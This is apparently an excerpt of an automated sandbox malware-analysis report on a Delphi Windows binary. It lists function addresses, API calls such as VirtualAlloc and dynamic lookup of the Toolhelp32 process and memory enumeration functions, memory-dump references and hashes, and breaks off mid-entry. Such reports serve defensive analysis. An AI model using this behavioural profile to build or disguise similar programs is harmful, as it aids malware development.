                                                                                                                                                                                                                                  • API ID: Eventtime
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 2982266575-0
                                                                                                                                                                                                                                  • Opcode ID: d89d1d0172f54fc4b20fc358a8f6c1ef83ac04c9c429d756bed01ea96e3334c1
                                                                                                                                                                                                                                  • Instruction ID: a10e392928b951f032ab01c3f2e715d60109aa6564a7aa0972d97b96e937b80f
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: d89d1d0172f54fc4b20fc358a8f6c1ef83ac04c9c429d756bed01ea96e3334c1
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 94C048F53907842BFA10A6A55CC2F22569C935AB51F100811B705AE2C5D7A2A8009EA4
                                                                                                                                                                                                                                  Function 031D4C38 Relevance: 1.5, APIs: 1, Instructions: 10memoryCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • SysAllocStringLen.OLEAUT32(00000000,?), ref: 031D4C3F
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: AllocString
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 2525500382-0
                                                                                                                                                                                                                                  • Opcode ID: deef39a2cc415ea7aa2211a8cf66897036e36a853147c6e932415ea0be047887
                                                                                                                                                                                                                                  • Instruction ID: bced936a5efd6862727c44c4cb232231d950592dc702751900b28a77df49e553
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: deef39a2cc415ea7aa2211a8cf66897036e36a853147c6e932415ea0be047887
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 46B0922820820127FB58A2A30E00772424C0B4F182F8900609E29C8098EF21D0024435
                                                                                                                                                                                                                                  Function 031D4C50 Relevance: 1.5, APIs: 1, Instructions: 6COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • SysFreeString.OLEAUT32(00000000), ref: 031D4C57
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: FreeString
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 3341692771-0
                                                                                                                                                                                                                                  • Opcode ID: ae581ebb92addf67a3a65b39d43af7ed10248a7cf14a7419a8a23d03648cf3b3
                                                                                                                                                                                                                                  • Instruction ID: a4886d6c93c6fa64c306094a4563ee55444be5bb7e824f036acba20a4e113de5
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: ae581ebb92addf67a3a65b39d43af7ed10248a7cf14a7419a8a23d03648cf3b3
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 10A022AC0003032B8F0BB3AE002002F22323FCF2003ECC8F882000E0008F3B8000E8A0
                                                                                                                                                                                                                                  Function 031D15CC Relevance: 1.3, APIs: 1, Instructions: 38memoryCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • VirtualAlloc.KERNEL32(00000000,00140000,00001000,00000004,?,031D1A03,?,031D2000), ref: 031D15E2
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: AllocVirtual
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 4275171209-0
                                                                                                                                                                                                                                  • Opcode ID: d9e4d8f289d485b3b0dbe9f1fab788346e3d654588d2ac65da31bbd0d504a6b7
                                                                                                                                                                                                                                  • Instruction ID: 87074f044e6e3749f2e060e079566f6c232facdc4b5915533e1fa85cf54e48f8
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: d9e4d8f289d485b3b0dbe9f1fab788346e3d654588d2ac65da31bbd0d504a6b7
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: D1F049F07113005FDB49EFBAA944311BAE2E78F244F24C139E609DB388E77195418B00
                                                                                                                                                                                                                                  Function 031D1682 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • VirtualAlloc.KERNEL32(00000000,?,00101000,00000004,?,?,?,?,031D2000), ref: 031D16A4
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: AllocVirtual
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 4275171209-0
                                                                                                                                                                                                                                  • Opcode ID: 47c39282c4a29cac74e625fce36478e1e3054717d0e5e9a10041978700897fcf
                                                                                                                                                                                                                                  • Instruction ID: 60591fb642c1c87c694159d66f1796517c73a7f825ea476779b35aedf08977f2
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 47c39282c4a29cac74e625fce36478e1e3054717d0e5e9a10041978700897fcf
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 95F0BEB2A007957BD710EF5AAC84B82BB94FB09320F554139FA489B344E7B1A900C794
                                                                                                                                                                                                                                  Function 031D16E6 Relevance: 1.3, APIs: 1, Instructions: 25COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • VirtualFree.KERNEL32(?,00000000,00008000), ref: 031D1704
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: FreeVirtual
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 1263568516-0
                                                                                                                                                                                                                                  • Opcode ID: 3bed0fe126b4993fe2d1f7b65fc941785463919657656b9f51dfeb13c7cc6ecb
                                                                                                                                                                                                                                  • Instruction ID: 4468683846b9eb2e1c41c18b19763296876f5596a3edf520239870dc05dd428b
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 3bed0fe126b4993fe2d1f7b65fc941785463919657656b9f51dfeb13c7cc6ecb
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 85E08C79300301BFEB509A7AAD84B12ABD9EB4E660F285476F601DB292D3B0E8408760

                                                                                                                                                                                                                                  Non-executed Functions

                                                                                                                                                                                                                                  Function 031EAB1C Relevance: 59.6, APIs: 17, Strings: 17, Instructions: 99libraryloaderCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • GetModuleHandleA.KERNEL32(kernel32.dll,00000002,031EADA3,?,?,031EAE35,00000000,031EAF11), ref: 031EAB30
                                                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,CreateToolhelp32Snapshot), ref: 031EAB48
                                                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,Heap32ListFirst), ref: 031EAB5A
                                                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,Heap32ListNext), ref: 031EAB6C
                                                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,Heap32First), ref: 031EAB7E
                                                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,Heap32Next), ref: 031EAB90
                                                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,Toolhelp32ReadProcessMemory), ref: 031EABA2
                                                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,Process32First), ref: 031EABB4
                                                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,Process32Next), ref: 031EABC6
                                                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,Process32FirstW), ref: 031EABD8
                                                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,Process32NextW), ref: 031EABEA
                                                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,Thread32First), ref: 031EABFC
                                                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,Thread32Next), ref: 031EAC0E
                                                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,Module32First), ref: 031EAC20
                                                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,Module32Next), ref: 031EAC32
                                                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,Module32FirstW), ref: 031EAC44
                                                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,Module32NextW), ref: 031EAC56
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: AddressProc$HandleModule
                                                                                                                                                                                                                                  • String ID: CreateToolhelp32Snapshot$Heap32First$Heap32ListFirst$Heap32ListNext$Heap32Next$Module32First$Module32FirstW$Module32Next$Module32NextW$Process32First$Process32FirstW$Process32Next$Process32NextW$Thread32First$Thread32Next$Toolhelp32ReadProcessMemory$kernel32.dll
                                                                                                                                                                                                                                  • API String ID: 667068680-597814768
                                                                                                                                                                                                                                  • Opcode ID: 728bab7d3610cd164facc743636e83c733c2bd0f1cc0c5981a9e7a17e732d353
                                                                                                                                                                                                                                  • Instruction ID: b577e4168faa7ced95ceee119f591aa873f5bf78bfd24c34920622363d392898
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 728bab7d3610cd164facc743636e83c733c2bd0f1cc0c5981a9e7a17e732d353
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 44314EB4A80B509FDF11EFBCE889A6D37A8EF1E6027404966B810DF209E775A940CB51
                                                                                                                                                                                                                                  Function 031D5908 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 139stringlibraryfileCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • GetModuleHandleA.KERNEL32(kernel32.dll,031D737C,031D0000,031FE790), ref: 031D5925
                                                                                                                                                                                                                                  • GetProcAddress.KERNEL32(?,GetLongPathNameA), ref: 031D593C
                                                                                                                                                                                                                                  • lstrcpynA.KERNEL32(?,?,?), ref: 031D596C
                                                                                                                                                                                                                                  • lstrcpynA.KERNEL32(?,?,?,kernel32.dll,031D737C,031D0000,031FE790), ref: 031D59D0
                                                                                                                                                                                                                                  • lstrcpynA.KERNEL32(?,?,00000001,?,?,?,kernel32.dll,031D737C,031D0000,031FE790), ref: 031D5A06
                                                                                                                                                                                                                                  • FindFirstFileA.KERNEL32(?,?,?,?,00000001,?,?,?,kernel32.dll,031D737C,031D0000,031FE790), ref: 031D5A19
                                                                                                                                                                                                                                  • FindClose.KERNEL32(?,?,?,?,?,00000001,?,?,?,kernel32.dll,031D737C,031D0000,031FE790), ref: 031D5A2B
                                                                                                                                                                                                                                  • lstrlenA.KERNEL32(?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,031D737C,031D0000,031FE790), ref: 031D5A37
                                                                                                                                                                                                                                  • lstrcpynA.KERNEL32(?,?,00000104,?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,031D737C,031D0000), ref: 031D5A6B
                                                                                                                                                                                                                                  • lstrlenA.KERNEL32(?,?,?,00000104,?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,031D737C), ref: 031D5A77
                                                                                                                                                                                                                                  • lstrcpynA.KERNEL32(?,?,?,?,?,?,00000104,?,?,?,?,?,?,00000001,?,?), ref: 031D5A99
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: lstrcpyn$Findlstrlen$AddressCloseFileFirstHandleModuleProc
                                                                                                                                                                                                                                  • String ID: GetLongPathNameA$\$kernel32.dll
                                                                                                                                                                                                                                  • API String ID: 3245196872-1565342463
                                                                                                                                                                                                                                  • Opcode ID: a275a76e3282eaa6b9549a31e53beeffbdfbea738dd7cfe0d28ebb649d715411
                                                                                                                                                                                                                                  • Instruction ID: 1a532529d19c5630bf6ed7fe2fffe6fdd37febbdc55db0ee4fba7310b53737f9
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: a275a76e3282eaa6b9549a31e53beeffbdfbea738dd7cfe0d28ebb649d715411
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: A8416E75E00629AFDB10DBE8CC88ADEB7BDAF0F250F5445A5A155EB241E770DF808B50
                                                                                                                                                                                                                                  Function 031D5BD8 Relevance: 15.1, APIs: 10, Instructions: 98stringlibrarythreadCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • lstrcpynA.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 031D5BE8
                                                                                                                                                                                                                                  • GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 031D5BF5
                                                                                                                                                                                                                                  • GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 031D5BFB
                                                                                                                                                                                                                                  • lstrlenA.KERNEL32(?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000), ref: 031D5C26
                                                                                                                                                                                                                                  • lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 031D5C6D
                                                                                                                                                                                                                                  • LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 031D5C7D
                                                                                                                                                                                                                                  • lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 031D5CA5
                                                                                                                                                                                                                                  • LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 031D5CB5
                                                                                                                                                                                                                                  • lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?), ref: 031D5CDB
                                                                                                                                                                                                                                  • LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?), ref: 031D5CEB
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: lstrcpyn$LibraryLoad$Locale$InfoThreadlstrlen
                                                                                                                                                                                                                                  • String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
                                                                                                                                                                                                                                  • API String ID: 1599918012-2375825460
                                                                                                                                                                                                                                  • Opcode ID: 8b0727ff8eacdafd1fa5d25497bf18fe7d1f96c39f01eed16574b8fc4031b0a7
                                                                                                                                                                                                                                  • Instruction ID: ac17892c9b5bafd0e4c5c0bc9543c3da9b5a3e1e6f066a60a64d6ec95f7879c6
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 8b0727ff8eacdafd1fa5d25497bf18fe7d1f96c39f01eed16574b8fc4031b0a7
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: DE314576E4026C7BFB25D6F89C45FDEB7AD9B0E380F0442F19644E6181DB749B888B50
                                                                                                                                                                                                                                  Function 031D7FD4 Relevance: 1.5, APIs: 1, Instructions: 49COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • GetDiskFreeSpaceA.KERNEL32(?,?,?,?,?), ref: 031D7FF5
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: DiskFreeSpace
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 1705453755-0
                                                                                                                                                                                                                                  • Opcode ID: 6da40a96276824e7acf15013fedfea5da185deed3b000be9258f4dab930fd872
                                                                                                                                                                                                                                  • Instruction ID: 76ee43ce4519a7bc8e285f3144fa3dbcc0c7df4fda5ab163e23cd348ba9a718a
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 6da40a96276824e7acf15013fedfea5da185deed3b000be9258f4dab930fd872
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 3211C0B5A00209AF9B04CF99C881DAFF7F9FFCD700B54C559A515EB254E771AA018B90
                                                                                                                                                                                                                                  Function 031DA7C4 Relevance: 1.5, APIs: 1, Instructions: 29COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 031DA7E2
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: InfoLocale
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 2299586839-0
                                                                                                                                                                                                                                  • Opcode ID: e4a4f5238fe2b89d356e7e49d78e4b786299a6a1796c12883d610745802d8045
                                                                                                                                                                                                                                  • Instruction ID: 6b8f5ce823b7745dab759ae11830ad22ff63acf6e74f2cf853d8908575f04bec
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: e4a4f5238fe2b89d356e7e49d78e4b786299a6a1796c12883d610745802d8045
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 17E0D87670031417D315E5599C85EF6735C9B5D210F0042BABD05CB385EFF19E8046E8
                                                                                                                                                                                                                                  Function 031DB78C Relevance: 1.5, APIs: 1, Instructions: 26COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • GetVersionExA.KERNEL32(?,031FD106,00000000,031FD11E), ref: 031DB79A
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: Version
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 1889659487-0
                                                                                                                                                                                                                                  • Opcode ID: 247b7c59aaddfad63168e286fdc1873c7b8d5f7e30ca947e3b290a16530f17a7
                                                                                                                                                                                                                                  • Instruction ID: 1e71f8345ac0ae876225999339700ec9e25e877ce09cf256ebd686a3b92c0806
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 247b7c59aaddfad63168e286fdc1873c7b8d5f7e30ca947e3b290a16530f17a7
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: F0F017785087018FD358EF2DD440A15B7E9FB4D600F018A28E499C7394E7349494CBB2
                                                                                                                                                                                                                                  Function 031DA810 Relevance: 1.5, APIs: 1, Instructions: 23COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
